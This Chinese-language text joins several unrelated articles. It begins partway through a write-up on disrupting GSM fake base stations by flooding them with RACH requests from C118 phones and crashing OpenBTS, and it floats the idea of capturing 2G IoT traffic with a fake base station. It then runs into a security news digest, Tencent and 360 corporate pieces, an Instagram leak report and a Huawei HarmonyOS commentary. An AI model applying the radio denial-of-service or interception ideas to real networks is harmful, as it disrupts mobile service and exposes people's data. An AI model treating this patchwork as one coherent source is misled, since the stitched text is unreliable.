第一阶段,实验环境测试我们已经觉得达到了效果,于是打算找运营商测试。在运营商配合下,找了个实验小区,对该小区频点进行RACH测试,每秒约发起15个RACH请求,发现很快运营商的基站就出现IMM REJECT了,这个结果,我们已经对该方案的可行性已经觉得OK。当天测试了十几分钟后,发现小区关闭了,后来沟通发现,原来监控人员发现小区指标异常,所以关站了。

当时还没有伪基站的设备,在运营商配合下,联系了当地的执法部门,把以前缴获的伪基站设备进行实际测试。 当时也是第一次看到了真正的伪基站设备,一台笔记本和一套射频设备。

开启真正的伪基站后,大家的手机关闭4G,手机马上收到了伪基站发来的短信。这个时候,在伪基站上再新建了一条测试短信,开始对伪基站进行RACH攻击,大家再关闭4G。大伙还是挺激动的,因为第一次真正的测试,但当大家手机陆续响起短信声音,就知道情况不妙了。

果然,大家还是收到了伪基站的短信。 通过测试程序,C118还是快速发起RACH,但伪基站跟之前测试的不一样,发现并没有IMM REJ的消息,全是ASS的,也就是说,跟之前的测试很不一样。就这样折腾了一个下午,发现这个方法,并不能让伪基站停止工作,问题不知道出现在哪。

没办法,只能继续寻找测试环境。后来在强大的闲鱼上,买到了一块SSRP,和一套程序,回到实验环境继续测试。

东西大概就这样。我一直以为用这些的都是搞伪基站的,后来才发现,人家不是用来做伪基站发短信,而是用来做个伪基站,去检测车里面是否有GPS。我在想,目前还有那么多2G物联网设备,协议可能都没加密,用这种部署个伪基站把物联网设备吸入后抓包会怎样?

硬件和软件都找到后,再进行测试。伪基站程序,都是一套OpenBTS,加一个网页控制端。发现黑产还是存在黑吃黑的情况,就是同一套底层程序,界面换一下,说支持4G,说多线程,好多选项其实只有界面,没有实际用途,就是骗人的。还有就是发送数量,实际发送1条,会随机显示发送了十几条(意思是我这套设备牛啊….)。早期这些发送数量被量刑的,不知道算不算冤了。

开始RACH测试后,通过OpenBTS的控制台,可以看到,SDCCH信道的容量在60,然后当前攻击状态下,用了51条信道。 想当然的我打算增加多几台C118来加大1秒内发送RACH数量,但结果,测试手机还是会收到伪基站的短信。思路一下陷入僵局。

大概有1个月的时间没有进展,为了回家晚上也能做测试,SSRP在办公室,晚上就用2台C118做实验环境。其中一台跑OpenBTS当小基站,另外一台当客户端。

当时的思路怀疑,是否PC上跑性能有瓶颈,毕竟usb转串口的速率不高,GSM对时间精度又比较敏感,所以,就打算把攻击代码,从PC上直接移植到layer1的固件里,这样省去了PC上的时间。

正是这样不断的调试,一天凌晨,改了很多次的固件测试失败后,最后一次测试打算上床睡觉。这次测试,发现手机跑起来后,另一端的OpenBTS崩溃了!再同样的测试了几次,几次OpenBTS都是崩溃。这次激动得当晚都睡不着觉。像跟做iOS逆向一样,有时成功就是差最后一点的坚持,技术是基础,不断尝试,当然还要靠点运气。

第二天赶紧跑回办公室,拿伪基站的设备进行测试,发现原本发送中的任务,被攻击了一次后,任务被暂停了!!ps看了一下,OpenBTS的PID不一样了,证明进程被重启过!!这下跟哥伦布发现新大陆一样兴奋。漏洞的细节就不方便公布了。

总的来说,是触发了OpenBTS的某个漏洞导致进程崩溃重启,OpenBTS还是有很多漏洞的。伪基站的OpenBTS重启过程中,大约会有5秒时间信号是消失状态的,如果信号出现,马上又对伪基站进行攻击,伪基站就会是不停的重启状态。这样不稳定的信号,达不到正常用户小区重选的阀值,就不会落入伪基站中。

第二阶段

得到了伪基站的漏洞后,第二阶段就是怎样设计硬件,能够方便部署。 C118+笔记本的方式很难做成产品模样。OsmocomBB不就是一个linux下的软件么,移植到树莓派上!

于是,陆续有了以下的“产品”原型:

树莓派体积还是大了点,又陆续找到了一款合适的ARM板,自己用三极管和GPIO设计了个电源开关,画了个PCB,硬件0.1版本出来了。

2017年底,硬件0.1版本实地测试,运营商安排测试人员,用专门的伪基站侦测仪器现场测试。该地市发现的伪基站信号,用伪基站侦测仪能不断收取到伪基站短信。启动攻击设备后,伪基站侦测仪检测到的伪基站信号时有时无,与预期一致。被攻击过一次的伪基站,即使停止攻击,也不会收到伪基站短信。

经过实测后,硬件能够很好工作,剩下就是怎样把硬件不断改进的过程,上图就是1.0版本的硬件(加入了4G模块,回传工作状态)和基站检测仪原型,检测伪基站方向。(未完待续,下一篇会介绍电路原理及改进过程)

OsmocomBB可玩性其实还有很多,除了基础的sample里的几个,还可以用来单手机多待当多路短信猫使用。或者把SIM卡通过网络鉴权,可以机卡分离异地登录等。

*本文作者:超雪团队2019,转载请注明来自FreeBuf.COM

各位Buffer早上好,今天是 2019 年 5 月 23 日星期四。今天的早餐铺内容主要有:福布斯全球2000强企业HCL泄露大量员工和商业信息;数千万条Instagram名人信息泄露;Win10计划任务程序0-day漏洞攻击代码发布;谷歌发现G Suite漏洞,部分密码明文存储长达十四年;微软呼吁行业数据隐私问题需要联邦监管;禁用超线程才能完全缓解ZombieLoad 但性能下降高达 40%。

chinese-dim-sum-char-siu-pao-har-gao.jpg

福布斯全球2000强企业HCL泄露大量员工和商业信息

近日,UpGuard研究团队发现位列福布斯全球2000强的IT服务和咨询公司Hindustan计算机有限公司(HCL)存在信息泄露的风险。HCL在多个子域上托管了可公开访问的页面和Web界面,导致大量员工和商业信息公开暴露。UpGuard研究团队最早在5月1日就发现这些安全隐患,当时他们在HCL域中检测到一个可免费下载的文档(包含客户关键字),随后发现了“其他可公开访问的页面,包含个人和商业数据”。暴露的数据“包括新雇员的个人信息和明文密码、客户基础设施安装报告以及管理人员的Web应用程序。”目前,HCL仍未对此事发表公开回复,不过至少及时响应了研究人员的提醒并采取了防护和补救措施。UpGuard认为,HCL及时有效的响应值得其他存在泄露风险的企业学习。[来源: bleepingcomputer]

数千万条Instagram名人信息泄露

据外媒TechCrunch报道,安全研究人员Anurag Sen发现Instagram位于AWS存储桶上的一个大型数据库保护不当,可被任意没有访问权限的人访问。该数据库包含4900多万条Instagram账户的联系信息,其中大部分都是网红和大V的个人信息,如个人经历、资料图片、粉丝数量、所在城市、私人联系方式、电子邮件地址以及电话号码等信息。另外,该数据库中还包含了计算每个账户价值的具体字段,可以估算账户的商业价值。据TechCrunch调查,该数据库属于社交媒体营销公司Chtrbox,其总部位于印度,主要业务就是让网红和网络大V发布广告。目前事件正在进一步调查当中。[来源: securityaffairs]

Win10计划任务程序0-day漏洞攻击代码发布

在微软发布本月安全更新之后,研究人员SandboxEscaper发布了Win10计划任务程序0-day漏洞的攻击代码。该漏洞的利用目标主要是提升本地权限,让权限有限的用户可以完全控制SYSTEM和TrustedInstaller等高级权限用户才能访问的文件。通过将遗留任务文件导入Windows 10上的计划任务程序,就可以利用该漏洞。运行从旧系统复制的可执行文件’schtasks.exe’和’schedsvc.dll’命令可以触发远程过程调用(RPC) ),并触发“_SchRpcRegisterTask”。这个过程中,触发特定功能就能实现上述提升权限的目标。目前,该攻击可以在Windows 10 系统上成功复现,而在Windows 7 和 Windows 8系统上则未复现成功。[来源:bleepingcomputer]

谷歌发现G Suite漏洞:部分密码明文存储长达十四年

据美国科技媒体The Verge报道,谷歌在博客文章里披露,公司最近发现一个漏洞,导致部分G Suite用户的密码以明文方式存储。博文中称,该漏洞自2005年以来就存在,但谷歌未能找到任何证据表明,任何人的密码被非法访问过。公司正在重置可能受影响的密码,并已告知各G Suite管理员。谷歌并未说明具体有多少用户受到这一漏洞的影响,只是表示该漏洞影响了“我们部分的企业G Suite用户”——估计是2005年时使用G Suite的那些人。尽管谷歌也没有发现任何人恶意使用这一访问权限的证据,但我们也无法清楚地知道究竟谁访问过这些明文密码。目前这个漏洞已经修复,同时谷歌在博文最后表达了歉意。[来源: sina]

微软呼吁行业数据隐私问题需要联邦监管

据外媒报道,最近的隐私问题使得数据收集成为公众关注的焦点。在过去,科技公司采用的都是自我监管的方式,但现在,这个行业开始呼吁联邦监管。当地时间周一,微软副总裁兼副总法律顾问Julie Brill在一篇博文中对欧盟近一年前颁布的《通用数据保护条例(GDPR)》进行了反思。Brill认为,GDPR在改变科技公司处理个人数据的方式方面非常有效。Brill指出,GDPR已经激励其他一些国家采取类似的规定。她还赞赏自己的公司是“第一家将GDPR核心的数据控制权提供给全球客户,而不仅仅是欧洲客户的公司”。然而,这种自我监管在Brill看来还不够好。尽管加州和伊利诺斯州等州已经拥有强有力的数据保护法,但Brill认为,美国需要类似于联邦级别的GDPR。

微软并不是唯一一家呼吁联邦监管的大型科技公司。同样强调其强大隐私政策的苹果最近也表示,自我监管的时代已经结束。今年4月,该公司CEO蒂姆·库克在Time 100峰会上表示:“我们都必须在理智上诚实,我们必须承认,我们正在做的事情并不奏效。技术需要被监管。”[来源:cnbeta]

禁用超线程才能完全缓解ZombieLoad 但性能下降高达 40%

上周 Intel 曝出影响 2011 年以来几乎所有芯片的漏洞 ZombieLoad,利用该漏洞,攻击者可以对芯片发起边信道攻击,在同一 CPU 上执行恶意进程,进而获取 CPU 的微架构缓冲器中的存储器内容。虽然 ZombieLoad 得到有价值数据的成本比较高,但是各大公司都十分重视这个漏洞,毕竟它影响了 2011 年以来几乎所有芯片,打击范围十分广泛。Intel 自己已经发布了微代码,从架构上缓解该问题,其它科技公司如苹果、微软与谷歌也都相继发布了补丁。

事实上,苹果和谷歌都已经警告 macOS 和 Chrome OS 用户禁用超线程可获得全面保护,并且谷歌现在默认从 Chrome OS 74 开始禁用超线程。但是禁用超线程的性能代价实在有点高。

Intel 发言人表示,大部分打过补丁的设备在最坏的情况下可能会受到 3% 的性能影响,而在数据中心环境中可能会是 9%。而PostgreSQL 基准测试发现,禁用超线程后,性能下降了近 40%;Ngnix 基准测试的性能下降了约 34%;Zombieload 的研究人员表示禁用超线程会使某些工作负载的性能下降 30% 至 40%。[来源:cnbeta]

(2019年5月22日,云南昆明)在漫威超级英雄世界中,“神盾局”一直在背后默默支持复仇者联盟捍卫正义。作为处理各种奇异事件的特殊部队,“神盾局”有不少先进的武器装备,比如《美国队长》中钢铁侠父亲霍华德·史塔克展示的未来之车,可以在空中飞行。

在腾讯内部,也有这样一支低调的技术力量驱动着互联网巨擘不断前行。腾讯技术工程事业群(Technology Engineering Group,以下简称TEG)是腾讯内部的技术支撑部门,TEG的各项技术应用于微信、QQ等上百款内部产品,同时和云、广告、游戏、视频等腾讯业务有着密切合作。

5月21日至23日,在昆明举行的腾讯全球数字生态大会上,TEG首次对外展出30余个技术应用,让合作伙伴和用户一站式饱览腾讯技术全景。腾讯副总裁姚星在大会登台亮相,分享了公司助力“两张网”发展,在前沿科技方面的探索与技术应用的典型案例。一批平日里低调的技术大咖——包括腾讯数据中心副总监高江、腾讯云TStack首席架构师贺阮、腾讯里约产品负责人贺啸等人,在共享舞台进行了精彩分享,得到行业内外的广泛关注。

 

本次大会,腾讯首次大秀了一把“技术肌肉”,将产业互联网和消费互联网的新成果、新技术、新应用分享给大家。而实际上,TEG一直在腾讯内部承担着底层技术的重任,默默为公司提供全方位的运营解决方案和服务支持,为公司沉淀了大量技术储备。

作为运营着亚洲最大网络、服务器集群和数据中心的部门,TEG搭建的腾讯基础网络在全球36个全球骨干网节点, 在各大洲核心节点之间形成口字形双环架构,在国内以4大核心节点为中心,星型组网辐射华北、华北、华南、华西各个片区。

在这张网上,腾讯TEG支持着腾讯自己的业务,也通过腾讯云赋能各行各业,成为业内领先的基础架构云运营平台、云数据处理平台、互联网海量应用支撑平台,为亿级用户提供云计费服务和安全保障。

不仅是规模,TEG也不断提升数据中心的技术含量。大会上,TEG揭晓了第四代数据中心T-block产品家族的新成员Mini T-block,将数据中心作为一个整体产品全部在工厂预制,这在国际上也是绝无仅有的,但能够快速响应业务的需求及变化,尤其适合中国互联网企业。

据介绍,Mini T-block将若干IT机柜、配电设备、冷却设备等功能设备,包含网络、布线、消控等集成于同一单位体积(ISO 20/40尺标准箱体)内,成为一个真正实现“独立运行、即插即用、用完即走“的“数据中心界的U盘”。

图片包含 天空, 户外, 建筑物, 水 描述已自动生成

 

腾讯的很多技术,都是来源于TEG不断修炼内功,对内提供技术能力和各种服务,然后逐渐把技术能力打磨成产品对外输出。如果说云与智慧产业事业群(CSIG)是腾讯To B战略的对外窗口,TEG则是强大的火力军团——虽然低调,但是就宛如漫威宇宙中的“神盾局”角色。

比如在安全层面,“腾讯安全大禹DDoS防护”这个明星产品,就应用了TEG自主研发的宙斯盾系统。2018年,大禹DDoS为游戏、视频直播、金融支付和政务等行业抵御高达1.23Tbps国内最大流量攻击。TEG安全平台部基于腾讯海量业务的十余年防护技术积累的技术,平均每年为腾讯自研业务防御数十万次DDoS攻击。

 

比如在资源管理层面,腾讯云私有云平台TStack,也早在2012年就在腾讯内部上线。当时的背景是,腾讯和很多企业一样还在采用传统IT架构,随着IT规模不断扩大,暴露出了大量问题。于是,腾讯云TStack基于OpenStack技术,在企业IT内部进行了重大的改变,将所有的物理资源进行整合,提高资源利用率,消除信息孤岛,构建出一个在国内最大的以OpenStack为基础平台的私有云平台。2015年底,腾讯云TStack将多年经验整合成一套私有云解决方案对外输出,先后建设了云南省警务云、厦门市政务云、北京市政务云、数字广东等。目前,TStack在内部部署的主机已经超过12000台,成为了云计算行业中的重要一员。

 

比如在应用层,腾讯里约(Tencent RIO)是TEG旗下的企业基础架构团队基于腾讯十多年的信息化实践,提炼出的一套中间件产品和与之配套的建设规范。腾讯里约为业务应用提供站点接入和管理、服务发布和管理、网络边界访问、统一用户管理、内外部身份认证系统集成以及访问权限管理等基础能力支撑,起到政企信息化服务连接器的作用。2018年,“数字广东”采用腾讯里约作为数字政府中台的基础框架,为广东全省上亿居民和近千万的企业提供在线政务服务。

图片包含 人员, 室内, 站立, 墙壁 描述已自动生成

 

还比如TAPD腾讯敏捷协作平台,凝聚了腾讯十余年团队协作理念和敏捷研发精髓,提供看板、在线文档、思维导图、敏捷需求规划、迭代计划&跟踪、任务工时管理、缺陷跟踪管理、持续集成、持续交付&部署等可配置功能,并沉淀专业解决方案,提升团队协作效率。

 

业务层的案例就更加丰富。比如企业内部管理软件“腾讯乐享”,凝聚了腾讯10年企业管理经验与精华,通过一系列互联网化的核心应用,满足企业知识管理、培训学习、文化建设和内部沟通等多元化需求;比如腾讯问卷、腾讯信鸽推送、吐个槽社区、腾讯计费(米大师)等都是TEG内部技术产品的对外输出。

在TEG总裁卢山看来,TEG只有强调服务精神,才能成为其他BG的坚实支撑,才能成为公司各项业务的真正后方。

“TEG不直接做业务,是作为产品和核心技术的提供者存在的,我们拥有非常好的合作态度,从成立之初,就秉持服务的态度。”卢山说道,尽管这样做有些“坏处”,比如会感觉没站在聚光灯下,但好处也很明显:比较稳健,不会栽跟头,只要我们服务态度好,就谁都能服务上。

业内人士分析称,互联网技术,主要集中在海量、敏捷。公司用户量足够大,就能积累海量技术,所以BAT有先天优势,这些公司用户动辄上亿,遇到困难解决困难,自然而然就具备了海量技术。

腾讯总裁刘炽平在21日的大会上表示,过去腾讯更多依靠单个产品进行对外开放,未来腾讯会整合公司内部各个产品与业务,并结合外部合作伙伴的能力,来给产业提供最优的解决方案。

目前来看,结局是双赢的。

“现在有一些客户,看到腾讯云有TAPD或者乐享这样的SaaS服务(注:TAPD和乐享都是TEG打造的产品),他就可能选择腾讯云。这些都会形成口碑,最后帮助到腾讯云。TEG的一些产品通过腾讯云的平台,可以省去很多营销,不用独立去发展市场。”卢山说道。

5月14日至16日,2019年中国石油石化企业信息交流大会在京召开。本次大会由中国石油学会、中国石油、中国石化、中国海油、中国中化、延长石油联合主办,围绕“全面提升信息技术融合创新和网络安全能力,推动石油石化企业高质量发展”的主题,大会深入探讨了以人工智能、大数据为代表的新一代信息技术在油气行业数字化转型中的应用方法、价值、途径和解决方案,并集中展示了各单位在技术创新、融合应用、网络安全等方面取得的新成果、新突破、新进展。

image.png

作为我国最大的网络安全公司和新一代信息技术应用的代表性企业,360深度参与了此次大会。在15日召开的主论坛中,360集团董事长兼CEO周鸿祎出席此次论坛并发表演讲。他表示:“现在整个网络安全时代变了,不再是曾经的防火墙、杀毒等硬件,如今网络安全已经从单纯的信息安全、电脑安全、信息系统逐渐蔓延到国家安全、电脑安全、基础设施的安全、电脑的安全、5G安全、人身安全。”

image.png

未来的网络战,攻击的核心目标可能是交通、能源、社会的重要基础设施。未来在国家安全领域,石油安全、石油系统安全则愈显重要。

image.png

关于网络安全方面,360可谓最有发言权。作为国家、经济生活的命脉,目前我国石油行业在网络安全上投入很大,但大量采用传统防护手段,在主动防御层面缺乏有效的解决方案。360信息安全中心总经理高雪峰16日应邀出席分论坛,并发表名为《360企业内部安全防御》的主题演讲,主要围绕360总体防御策略和360安全防御实践两方面进行阐述。

image.png

高雪峰表示,作为企业网络安全管理者,我们将要面对的是无穷尽的漏洞,以及系统时刻被渗透的风险。当漏洞和被渗透都不可避免时,如何从广袤的网络数据中找到攻击者的蛛丝马迹,成为当下和未来企业安全体系建设的重点。360安全大脑依托自身的360安全大数据和顶级安全专家分析能力,可以帮助企业感知预警黑客攻击,并看清整个攻击路径。

在演讲中他提到,目前我国网络安全防御缺乏体系化的规划,难以将安全要素贯穿到全过程,“创可贴”式的建设导致产品堆砌、防护失衡。而360经过十余年的安全攻防经验积累,打造了基于大数据的主动防御与基于人工智能的纵深防御的整体防御能力,建立了一套从预防到感知、处置,再到学习的闭环安全防御体系,同时为了验证这套防御体系的坚固程度,还会不断的让红军模拟真实黑客攻击来寻找防御的薄弱点。

“360在主动防御层面拥有强大的实力,还拥有大规模的网络安全大数据,我们在企业防御实践中,以安全大数据为基础,结合网络威胁情报,做到对安全事件进行预警、发现攻击行为时进行有效处置,并对攻击过程进行溯源。例如,在2017年的美国东部断网事件中,360提前45天监测到Mirai僵尸网络扫描,并提前6天发布了预警报告。”

面对新形式下的网络安全,高雪峰认为,要通过纵深防御,结合产品和运营,再结合主动防御体系,打造整体运营结合情报模式,达到情报分享,构建整体防御体系。

正如周鸿祎所言,作为中国第一的网络安全企业,360希望在大安全背景下,和众多企业一起携手,用一些新的思想、新的战法,提升对网络攻击的发现能力和防范能力,共同保障石油石化行业的网络安全。

近日,一个包含大量Instagram用户数据的数据库被发现,影响人数达到数百万,其中包括众多用户以及品牌商信息。

4Y2j-fzcyxmu0713347.jpg

本次暴露的数据库由亚马逊网络服务托管,任何用户都可以直接进入数据库查看数据。目前已知该数据库有超过4900万条记录——而且仍在不断增长。

通过对其数据的简要回顾发现,每条记录都能直接关联到Instagram的某个用户账户的数据,包括用户资料、图片、粉丝数据、以及验证过的国家/地区、私人联系信息(包括电话、电子邮件等),甚至还有用户已删除信息内容。

安全研究员Anurag Sen发现了这个暴露在外的数据库并发出提醒,尽快找出数据泄漏的用户并确保数据库的安全。

TechCrunch根据泄漏数据库信息,追踪到了一个位于孟买的社交媒体运营公司Chtrbox,该公司时常会付费请ins网红发布其公司相关的推广信息。通常一个账户的价值会根据其粉丝数量、粉丝活跃度、业务覆盖面、垂直领域等方面综合评定,这也直接影响到这些公司对他们的报价。

研究人员在暴露的数据库中发现了一些ins的“网红”,与其取得了联系并提供了正确的电话号码或邮箱等,其中有两人回复并确认数据等真实性,并且表示,他们均没有与Chtrbox公司合作。

在联系之后,Chtrbox公司将数据库进行脱机处理。该公司创始人Pranay Swarup对数据泄漏事件没有发出任何回应,随后该公司发布一条推文表示,受影响的用户不会超过35万,并且该数据库仅开放了72小时。但研究人员证实,该数据库于5月14日起在Shodan被检测到后就一直处于开放状态。

此前,在Instagram承认,由于开发人员疏忽导致黑客窃取600万用户数据。在事件过去两年之后,Instagram才开始着手处理,而黑客早已将数据卖成了比特币。

目前,Facebook发布声明称:我们正在调查这个问题,我们会确认泄漏的数据(包括电子邮件和电话号码)是来自Instagram还是其他源头。并且我们也会与Chtrbox沟通以了解这些数据的来源。 

*参考来源:techcrunch,Karunesh91编译,转载请注明来自FreeBuf.COM

4795024138676809284.jpg

美国为了寻求自身利益的最大化,不断采取“极限施压”的措施,在谈判中无底线、出尔反尔!为了做到精准打击,美国甚至将中国的龙头企业——华为,作为制裁实体。众所周知,手机要想顺利的运行,必须具备两个核心功能,即芯片和操作系统。对此,美国也是进行了精准打击,先是禁止向华为出售芯片,随后又让谷歌切断与中国的业务。这意味着,华为的手机将不再享有今后安卓的更新和使用权。

面对这样精准的卡脖子封杀,如果是你,你怎么办?美国自以为这样会逼得华为妥协,逼得中国妥协。可是谁成想,华为对此早有计划,美国不给芯片,华为将海思转正!但当谷歌不给安卓,有些人就以为华为束手无策了?可是5月17日,华为首次对外公布了备用系统——鸿蒙系统,至此鸿蒙系统首次被曝光。

微信截图_20190522100027.png

为此,小编专门搜索了一下关于“鸿蒙系统”的公开资料。如上图所示,不管是百度词条还是公开的新闻,该系统最早也是在5月17日被曝出的。

除了上网搜索的资料外,我们来看看任正非本人是怎么谈论鸿蒙系统的?

5月21日上午,时隔四个月后,任正非接受多家媒体采访并回应了近期热点。其中,就谈到了鸿蒙系统。

记者问:鸿蒙系统有没有在华为内部小范围使用?

任正非:这个问题抱歉今天回答不了,我们能做操作系统,但不一定是替代别人的做法,因为我们在人工智能、万物互联中本身也是需要,但是到底哪些用了、哪些没用,我不是很清楚。

关于鸿蒙系统以及系统软硬件生态圈的建立

独立国产智能手机系统的开发史

鸿蒙,中国神话传说的远古时代,传说盘古在昆仑山开天辟地之前,世界是一团混沌的元气,这种自然的元气叫做鸿蒙,因此把那个时代称作鸿蒙时代,后来此一词也常被用来泛指称远古时代。华为将新系统命名为“鸿蒙”,可见其要重新定义系统生态,开启新时代的决心。

timg.jpg

以下是网曝华为自研操作系统“鸿蒙” ,中文注解彰显霸气。

据了解,华为从2012年开始规划自有操作系统“鸿蒙”,意在成为谷歌Android系统的替代品。

下图是来自上海交通大学的一份PPT演示照片,图中显示,某教授领导华为操作系统团队开发了自主产权操作系统——鸿蒙。根据PPT描述,该操作系统已对Linux大量优化(已开源),并已用于华为手机中(安全部分)。

6.png

从上面的PPT可以看出,“鸿蒙”系统确实有意开拓一个新的系统时代。该项目已经获得了教育部技术发明一等奖(2018年),国家技术进步二等奖(2012年),并且争取csranking尽快进入前五以及准备申报2020年国家技术进步奖。

虽说,自主研发操作系统是一件非常困难的事情,之前微软研发Windows Vista系统就花费200多亿美金,Linux系统也花费了大概100亿美元。但是以华为目前的实力来看,在资金和技术方面只是小问题,最大的问题便是在软硬件生态圈上,如果没有丰富的软件做支撑,操作系统只是一个平台。

操作系统可以说是智能手机的灵魂,在如今全球智能手机市场上,谷歌的Android系统和苹果的iOS系统已经垄断了全世界99.9%的手机操作系统。由于苹果的iOS系统仅供自家苹果手机使用,不向其他手机厂商开放,因此谷歌的Android系统便成了华为手机的唯一选择,这也是谷歌敢威胁华为的原因。

微信截图_20190522103553.png

正如中国工程院院士,中国科学院计算技术研究所研究员倪光南所说:

操作系统的成功与否,关键在于生态系统,需要能够搭建起完整的软件开发者、芯片企业、终端企业、运营商等产业链上的各个主体。

以红旗Linux为例,这是国产操作系统第一次对国际巨头发起挑战。从上世纪90年代开始,以中科院院士倪光南、中科院软件研究所副所长孙玉芳为首的一批科学家,在“中国必须拥有自主知识软件操作系统”的共识下,推出国产操作系统红旗Linux。不过红旗Linux的溃败就是因为计算机中的采用office标准的软件不支持它,这成为国产操作系统的致命伤。伴随着微软在全球包括中国市场压倒性优势的胜利,国产桌面操作系统日渐式微,其余国产操作系统中标麒麟、StartOS也鲜有用户。

timg (1).jpg

不过小编对此倒不是很担心,因为中国的市场很大,要想形成一个软硬件生态圈,其实也不难。只要像OPPO、vivo、小米这样的大厂商能够参与进来,凭着中国的用户数量,打破如今谷歌的Android系统和苹果的iOS系统的二分天下并不是什么难事。就目前来看,虽然华为的鸿蒙系统在成熟度和生态能力上还完全不能与谷歌的Android系统相抗衡。但是,相信以华为目前的实力和美国的恶劣态度,说服国内应用开发商们与华为形成统一战队,开发属于新的软硬件生态圈,很有可能。

严格意义上,第一款“独立国产智能手机系统”的名号应该颁发给联通沃Phone系统。在发布当时,中国联通科技委主任刘韵洁即强调:“沃Phone与Android没有任何关系。沃Phone拥有完全自主知识产权。”正因如此,沃Phone系统也得到了国家级的多项支持,被列为国家核心核心电子器件、高端通用芯片及基础软件产品重大科技专项支持的课题成果。不过在市场化的过程中,还是败给了安卓。

不想错过智能手机时代的不仅有运营商这样的手机玩家。时任阿里巴巴集团首席技术官王坚也曾选择了研发对标安卓的自主系统。在王坚的坚持下,阿里云OS成为第一款由互联网企业打造的自主操作系统。阿里云率先和天语、海尔合作推出手机。然而,当阿里云进一步与宏碁手机合作时,在2012年9月13日的发布会开始前一小时,由于受到谷歌施压,宏碁取消了这次合作。2013年,YunOS网站上线,阿里云OS也更名为阿里巴巴YunOS。2014到2015年,凭借与魅族合作,YunOS曾一度占据国内手机操作系统份额的7%。不过,随着魅族等小众手机品牌市场逐渐萎缩,YunOS逐渐沦落。

鸿蒙系统的安全性是否可靠?与谷歌的Android系统,本质上究竟有啥区别?

随着手机行业的不断发展,各大手机厂商之间的竞争也时愈发激烈,一款手机的系统安全性能直接影响一款手机的最终市场认可度。

说到手机系统的安全性,可能很多小伙伴首先想到的就是采用封闭式iOS系统的苹果手机。很多人都觉得iPhone的安全性是“无人能敌”的,其实华为手机的EMUI系统的安全性可以说也是不输iPhone的。虽然华为手机采用的是以安卓为基础开发的EMUI系统,但其又增加了很多自己的安全思路,比如AI警犬。其实在EMUI 9.0版本中,EMUI系统就加入这个AI警犬的功能了。这个AI警犬可以自动识别到恶意APP的存在,比如说当你下载一款APP的时候,AI警犬就会开始识别这款APP有没有“偷偷”扣费、盗取用户隐私、弹出广告等等的行为,如果发现有问题的APP,AI警犬就会马上提醒用户。并且,AI警犬还会自动的进行“学习”,以便于更精准的对APP进行识别。

鉴于EMUI系统的成功,我们也可以对鸿蒙系统背后的研发团队和安全性有很多期待。

另外从系统运行方式上来说,安卓目前的运行方式是JIT+AOT+ART,再加上ART本身还是一个虚拟机,如此的组合也就代表着安卓的每个程序运行时还是要通过虚拟机和实时编译的方式进行运作,虽然相比从前的JIT+Dalvik效率提升了不少,但依然还是比编译型语言速度慢上一些,这也是为什么安卓相比IOS来说应用启动运行流畅度都要差上一点。而华为发布的方舟编译器就是打算革了ART、虚拟机的命。方舟编译器基本上就是相当于前后段全部重写,不过重写的选择就非常有趣了,目前来说海思还不支持llvm,也就是没有机器模式,所以后端用的就是GCC,而前端因为海思抱紧了ARM架构大腿,所以参考ARM的前端是在clang上开发的。未来方舟编译器是否能成功,还是要看兼容性问题是否能够完美解决,以及华为是否能够拉上盟友一同造势。

关于鸿蒙系统的一些后期使用的猜想,除华为外,后期像OPPO、vivo、小米也可能会跟随

小编认为谷歌停止和华为的相关业务合作,更应该是一个华为自研“鸿蒙”系统崛起的良好机会。借助于美国的打压,华为直接有步骤地在自己的手机上上线“鸿蒙”系统,这至少在国内还是具有很大市场的,尽管说这次事件对于“安卓”国内市场没有影响。

同时,随着贸易战的升级,国产手机像OPPO、vivo、小米也可能随时会被美国以各种名义进行制裁。比如美国最近又“盯上”了中国无人机大疆。

据CNN报道,美国国土安全部发布警告称,中国制造的无人机可能正在向中国制造商发送敏感飞行数据,政府可以访问这些数据。美国国土安全部网络安全和基础设施安全局发出的警告称,无人机“对组织的信息构成潜在风险”。对此,DJI大疆做出官方回应:

我们技术的安全性已经在全球得到反复验证,其中也包括美国政府和美国领先企业的独立验证。

所以,不排除OPPO、vivo、小米也未雨绸缪,开始同步支持华为,与华为一起启动使用“鸿蒙”系统,避免以后人家真正地来封锁你所有系统的时候,造成更大的被动。毕竟当前的安卓系统还能够使用开源系统,同步推出自己的系统进行试验还是非常合适的,这样至少能够给自己积累经验和构建生态系统、给对手增加压力,不至于全部被禁用后匆忙上马、无所适从!

鸿蒙系统能否拓展到海外?

然而,海外用户才是鸿蒙系统成败的关键战场,其实谷歌的威胁,对国内市场影响并不大。以华为手机为例,近几年,其许多新款产品的首发会都是选在国外,所以这次谷歌的威胁, 对于在海外销量同样凶猛的华为手机和许多国产大品牌来说,谷歌服务一夜挂掉,海外用户手机马上变残。

Google Play商店、Gmail、搜索、谷歌相册,YouTube等一系列应用和服务,都无法再访问。

360截图16490125828997.jpg

而这一备用系统,也是任正非多年前未雨绸缪的结果:

我们现在做终端操作系统是出于战略考虑,如果他们突然断了我们的粮食,Android系统不给我用了,Windows Phone 8系统也不给我用了,我们是不是就傻了?……我们做操作系统,和做高端芯片是一样的道理。主要是让别人允许我们用,而不是断了我们的粮食。断了我们粮食的时候,备份系统要能用得上。

现在,任正非之忧,变成现实。

欧洲市场对于鸿蒙系统的接受程度,会直接影响鸿蒙系统在世界上的推广度,其中的困难可能不是一般人能想象的。但根据目前的态势,小编认为要想打破Android系统和苹果的iOS系统在欧洲的二分天下态势,也不是没有可能。

首先,目前的国产手机在世界上已经是被消费者认可了,借助于广泛的硬件支持,相应的进行与之匹配的软件,只要用户体验好,并不是没有成功的机会。以安卓的崛起为例,2011年,安卓尚仅仅占据5%市场份额,然而;伴随着三星Galaxy S的大获成功,安卓系统飞速增长,至2011年,其已经拥有超过50%的市占率,自此后,更是对市场中的其它系统呈现碾压之势。

其次,目前中国的手机厂商在全世界有大量的研发中心,其中很多都是数学家、物理学家、化学家、著名教授。小编相信,这些研发中心的人才很定是在当地有社会地位和技术引领效应的一群人,只要他们认同华为,相信华为,凭借着良好的示范效应和从上至下的营销,也可以让鸿蒙系统占得一席之地!